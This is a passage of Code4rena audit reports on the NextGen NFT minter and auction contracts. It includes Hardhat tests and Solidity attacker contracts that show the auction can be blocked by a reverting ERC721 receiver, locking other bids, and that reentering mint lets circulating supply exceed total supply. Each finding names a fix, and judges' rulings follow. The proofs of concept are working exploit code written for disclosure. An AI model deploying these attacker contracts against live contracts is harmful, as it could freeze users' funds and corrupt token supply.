collectionId, PUBLIC_START_TIMESTAMP, // _allowlistStartTime 0, // _allowlistEndTime PUBLIC_START_TIMESTAMP, // _publicStartTime PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH, // _publicEndTime "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a" // _merkleRoot ); await contracts.hhCore.addRandomizer( collectionId, contracts.hhRandomizer, ); // Mint several tokens so viewCirSupply is not 0 await contracts.hhMinter.airDropTokens( [signers.owner], //_recipients, [""], //_tokenData, [0], //_saltfun_o, collectionId, //_collectionID, [7], //_numberOfTokens, ); expect(await contracts.hhCore.viewCirSupply(collectionId)) .to.eq(7); }) it("calculates the price incorrect", async function() { // Start price, as expected await ethers.provider.send('evm_setNextBlockTimestamp', [PUBLIC_START_TIMESTAMP]); await ethers.provider.send("evm_mine"); expect(await contracts.hhMinter.getPrice(collectionId)) .to.eq(START_MINT_COST); // Skip to the middle time const middleOfTheSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH / 2; await ethers.provider.send('evm_setNextBlockTimestamp', [middleOfTheSaleTimestamp]); await ethers.provider.send("evm_mine"); // Some other price, as expected expect(await contracts.hhMinter.getPrice(collectionId)) .not.to.eq(END_MINT_COST); expect(await contracts.hhMinter.getPrice(collectionId)) .not.to.eq(START_MINT_COST); // Skip to the end const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH; await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]); await ethers.provider.send("evm_mine"); // End price is START_MINT_COST, should not be expect(await contracts.hhMinter.getPrice(collectionId)) .to.eq(START_MINT_COST); }) it("disallows to buy with correct price", async function() { const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH; await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]); const mintPromise = contracts.hhMinter.connect(attacker).mint( collectionId, // _collectionID 1, // _numberOfTokens 1, // _maxAllowance '', // _tokenData attacker, // _mintTo [], // _merkleRoot ethers.ZeroAddress, // _delegator 0, //_varg0 {value: END_MINT_COST} ) await expect(mintPromise) // @ts-ignore .to.be.revertedWith("Wrong ETH"); expect(await contracts.hhMinter.getPrice(collectionId)) .to.eq(START_MINT_COST); expect(await getLatestBlockTimestamp()) .to.eq(endSaleTimestamp); }) it("allows to buy with incorrect price", async function() { const endSaleTimestamp = PUBLIC_START_TIMESTAMP + PUBLIC_SALE_LENGTH; await ethers.provider.send('evm_setNextBlockTimestamp', [endSaleTimestamp]); expect(await contracts.hhMinter.getPrice(collectionId)) .to.eq(START_MINT_COST); const tx = await contracts.hhMinter.connect(attacker).mint( collectionId, // _collectionID 1, // _numberOfTokens 1, // _maxAllowance '', // _tokenData attacker, // _mintTo [], // _merkleRoot ethers.ZeroAddress, // _delegator 0, //_varg0 {value: START_MINT_COST} ); const tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(attacker.address); expect(await getLatestBlockTimestamp()) .to.eq(endSaleTimestamp); }) }); }); async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; } async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; }
Manual review
Use <
, >
and <=
, >=
consistently. Either strict or non-strict in all the relevant places.
Math
#0 - c4-pre-sort
2023-11-16T01:43:47Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:40:25Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112
Prerequisites:
onERC721Received
call (malicious or not)block.timestamp > minter.getAuctionEndTime(_tokenid)
)
Note:
On block.timestamp <= minter.getAuctionEndTime(_tokenid)
it's theoretically fixable by rebidding the malicious/broken winner. After minter.getAuctionEndTime(_tokenid)
it's not fixable.claimAuction
fail on IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
No one can withdraw there bids.
No way to fix it.
Put the contracts below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; pragma solidity ^0.8.19; contract EmptyBidder { function bid(auctionDemo auction, uint256 tokenId) external payable { require(msg.value > 0); auction.participateToAuction{value: msg.value}(tokenId); } }
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract RevertingERC721Receiver is IERC721Receiver { function bid(auctionDemo auction, uint256 tokenId) external payable { require(msg.value > 0); auction.participateToAuction{value: msg.value}(tokenId); } function onERC721Received( address , address , uint256 , bytes calldata ) external pure returns (bytes4) { revert("This revert is send from RevertingERC721Receiver"); } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhEmptyBidder = await (await ethers.getContractFactory("EmptyBidder")).deploy(); contracts.hhRevertingERC721Receiver = await (await ethers.getContractFactory("RevertingERC721Receiver")).deploy(); }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhAuction.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhEmptyBidder.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context("Auction winner can lock funds from bids of all other bidders after the auction end", () => { let tokenId; let endTimestamp; let normalBidder; beforeEach(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestamp = await getLatestBlockTimestamp(); endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) const initialOwnerAddress = signers.addr1.address; normalBidder = signers.addr2; expect(initialOwnerAddress).not.eq(normalBidder.address); // start auction const tx = await contracts.hhMinter.mintAndAuction( initialOwnerAddress, // _recipient "", // _tokenData 0, // _saltfun_o 1, // _collectionID endTimestamp, // _auctionEndTime ); // check token minted tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress); // approve auction to use it contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ); // normal bids await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 }); await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 }); await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 }); }) it("reverts if attacker is NOT IERC721Receiver", async function() { // malicious/broken bid, the biggest bid so far await contracts.hhEmptyBidder.bid(contracts.hhAuction, tokenId, {value: 4000}) // skip until the auction end time await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]); await ethers.provider.send("evm_mine"); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)) .to.be.lessThan(await getLatestBlockTimestamp()); // try to withdraw, will revert // @ts-ignore await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith( "ERC721: transfer to non ERC721Receiver implementer" ); await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId)) // @ts-ignore .to.be.revertedWith("Auction ended"); }) it("reverts if attacker is IERC721Receiver", async function() { // malicious/broken bid, the biggest bid so far await contracts.hhRevertingERC721Receiver.bid(contracts.hhAuction, tokenId, {value: 4000}) // skip until the auction end time await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]); await ethers.provider.send("evm_mine"); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)) .to.be.lessThan(await getLatestBlockTimestamp()); // try to withdraw, will revert // @ts-ignore await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith( "This revert is send from RevertingERC721Receiver" ); await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId)) // @ts-ignore .to.be.revertedWith("Auction ended"); }) }) }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Rewrite the auction so it uses Pull over Push pattern.
DoS
#0 - c4-pre-sort
2023-11-20T15:21:25Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:24:13Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:24:29Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:11:23Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:23:12Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L234-L237
Prerequisites general:
Prerequisites for overflow:
_collectionTotalSupply
set to max (10_000_000_000)Example below is a general example.
To make it example for overflow to the next collection you can imagine that it's already been minted almost max supply, two tokens left. And _collectionTotalSupply
has been set to max (10_000_000_000).
Steps:
MinterContract.mint
with _numberOfTokens
= X, where X > 1 and X <= _maxAllowance
MinterContract.mint
on line gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase)
(in onERC721Received
hook)
require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
won't be checked while in for loopcollectionCirculationSupply
is only +1 right nowmint
at least one time with _numberOfTokens
X - 1
collectionCirculationSupply
Variations:
burnToMint
one/several times instead of mint
in the second step
burnToMintCollections
needs to be true for attacked collectionsairDropTokens
_recipients
in airDropTokens
callMinterContract.airDropTokens
is called (by admin)_recipients
is an attacker who has a special logic in onERC721Received
onERC721Received
attacker calls mint
and mint tokens up to totalSupplyTokens with indexes between viewTokensIndexMax
and viewTokensIndexMin + viewCirSupply - 1
will never be minted, even if admin increases totalSupply. They could be valuable.
This invalid state may lead to multiple errors in 3rd parties.
In the case of overflow after setFinalSupply
is called reservedMaxTokensIndex
and collectionTotalSupply
will be overflown to the next collection which may lead to more errors.
For general overflow (not an overflow to the next collection) Put the contract below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import "./MinterContract.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract ReentersMintToMint is IERC721Receiver { uint reenteredTimes = 0; NextGenMinterContract minter; // Empty for this example, but can be used in AllowList phase for the same result bytes32[] merkleProof; uint constant COLLECTION_ID = 1; // First mint 3, then 2, then 1; uint constant NUMBER_OF_TOKENS_INITIAL = 3; constructor(NextGenMinterContract _minter) { minter = _minter; } function setProof(bytes32[] calldata _merkleProof) external{ merkleProof = _merkleProof; } function mint() external { minter.mint( COLLECTION_ID, // uint256 _collectionID, NUMBER_OF_TOKENS_INITIAL, // uint256 _numberOfTokens, NUMBER_OF_TOKENS_INITIAL, // uint256 _maxAllowance, "",// string memory _tokenData, address(this),// address _mintTo, merkleProof,// bytes32[] calldata merkleProof, address(0),// address _delegator, 0// uint256 _saltfun_o ); } function onERC721Received( address , address , uint256 , bytes calldata ) external returns (bytes4) { reenteredTimes+=1; uint toMint = NUMBER_OF_TOKENS_INITIAL - reenteredTimes; if (toMint == 0){ return IERC721Receiver.onERC721Received.selector; } minter.mint( COLLECTION_ID, // uint256 _collectionID, toMint, // uint256 _numberOfTokens, toMint, // uint256 _maxAllowance, "",// string memory _tokenData, address(this),// address _mintTo, merkleProof,// bytes32[] calldata merkleProof, address(0),// address _delegator, 0// uint256 _saltfun_o ); return IERC721Receiver.onERC721Received.selector; } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Possible to make `collectionCirculationSupply` > `collectionTotalSupply`, overflow to the next collection"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts let attacker; const COLLECTION_ID = 1; describe("NextGen Tests", function () { beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; await contracts.hhCore.addMinterContract( contracts.hhMinter ); }) context(TEST_NAME, () => { beforeEach(async function () { const totalSupply = 10; const collectionId = await createCollection(totalSupply); expect(collectionId).to.eq(COLLECTION_ID); await contracts.hhMinter.airDropTokens( [signers.owner], //_recipients, [""], //_tokenData, [0], //_saltfun_o, COLLECTION_ID, //_collectionID, [7], //_numberOfTokens, ); expect(await contracts.hhCore.viewCirSupply(COLLECTION_ID)) .to.eq(7); }) it("attacks", async function() { contracts.hhReentersMintToMint = await ( await ethers.getContractFactory("ReentersMintToMint") ).deploy(contracts.hhMinter); const attackerContract = contracts.hhReentersMintToMint.connect(attacker); await attackerContract.mint(); expect(await contracts.hhCore.viewCirSupply(COLLECTION_ID)) .to.eq(13); expect(await contracts.hhCore.viewTokensIndexMax(COLLECTION_ID)) .to.eq(10000000009); expect(await contracts.hhCore.totalSupplyOfCollection(COLLECTION_ID)) .to.eq(13); const [ ,// collectionArtistAddress ,// maxCollectionPurchases collectionCirculationSupply, collectionTotalSupply, ,//setFinalSupplyTimeAfterMint, ,//randomizerContract ] = await contracts.hhCore.retrieveCollectionAdditionalData(COLLECTION_ID); expect(collectionCirculationSupply).to.eq(13); expect(collectionTotalSupply).to.eq(10); }); }); }); async function createCollection(totalSupply) { const collectionId = await contracts.hhCore.newCollectionIndex(); const collectionAdmin = signers.addr1; await contracts.hhCore.createCollection( `Test Collection ${collectionId}`, `Artist ${collectionId}`, "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); await contracts.hhAdmin.registerCollectionAdmin( collectionId, // _collectionID collectionAdmin.address, true ); await contracts.hhCore.connect(collectionAdmin).setCollectionData( collectionId, collectionAdmin.address, // _collectionArtistAddress 10, // _maxCollectionPurchases totalSupply, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ); await contracts.hhMinter.setCollectionCosts( collectionId, 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ); const publicStartTimestamp = await getLatestBlockTimestamp(); const publicEndTimestamp = publicStartTimestamp + 1000; await contracts.hhMinter.setCollectionPhases( collectionId, 0, // _allowlistStartTime 0, // _allowlistEndTime publicStartTimestamp, // _publicStartTime publicEndTimestamp, // _publicEndTime "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a" // _merkleRoot ); await contracts.hhCore.addRandomizer( collectionId, contracts.hhRandomizer, ); return collectionId; } async function getLastMintedTokenIds(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .filter(parsedLog => parsedLog && parsedLog.name === "Transfer") .map(log => log.args.tokenId) } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Add nonReentrant
modifier to mint
, airDropTokens
and burnToMint
functions
Use Pull over Push pattern
Reentrancy
#0 - c4-pre-sort
2023-11-20T15:25:30Z
141345 marked the issue as duplicate of #1985
#1 - c4-pre-sort
2023-11-27T08:05:40Z
141345 marked the issue as duplicate of #1282
#2 - c4-pre-sort
2023-11-27T08:06:22Z
141345 marked the issue as not a duplicate
#3 - c4-sponsor
2023-11-27T11:14:11Z
a2rocket (sponsor) disputed
#4 - a2rocket
2023-11-27T11:17:26Z
collections wont have supply of more than 10000000000, in any case this issue can be combined with other issues for reentrancy.
#5 - c4-pre-sort
2023-11-27T15:17:51Z
141345 marked the issue as duplicate of #1742
#6 - c4-judge
2023-11-29T20:16:13Z
alex-ppg marked the issue as not a duplicate
#7 - c4-judge
2023-11-29T20:16:21Z
alex-ppg marked the issue as primary issue
#8 - alex-ppg
2023-12-05T21:53:00Z
The Warden weaponizes a re-entrancy attack vector to showcase that the circulating supply of a collection can exceed its total supply.
The Sponsor specifies that collections cannot have a supply of more than 10_000_000_000
, meaning that the Warden's potential overflow is impossible.
At best, this vulnerability will cause a circulating supply that does not match the total supply of the token. The circulating supply is utilized throughout the system for price calculations and index offsets of to-be-minted tokens, both of which are inaccessible once the vulnerability manifests as a pre-condition for it is that the actual total supply will have been exhausted.
The total supply may also be incorrectly updated via the setFinalSupply
function, causing both the circulating and total supply data points in the NextGenCore
to be corrupted. To recap in a single sentence, a deliberately malicious user would have to normally mint extra NFTs (i.e. pay) to increase the circulating supply while getting nothing in return.
Given that the circulating supply being incorrect is not weaponized in any way, I consider this and all relevant exhibits to be valid albeit QA-level submissions.
#9 - c4-judge
2023-12-05T21:53:13Z
alex-ppg changed the severity to QA (Quality Assurance)
#10 - c4-judge
2023-12-09T00:14:03Z
alex-ppg marked the issue as grade-b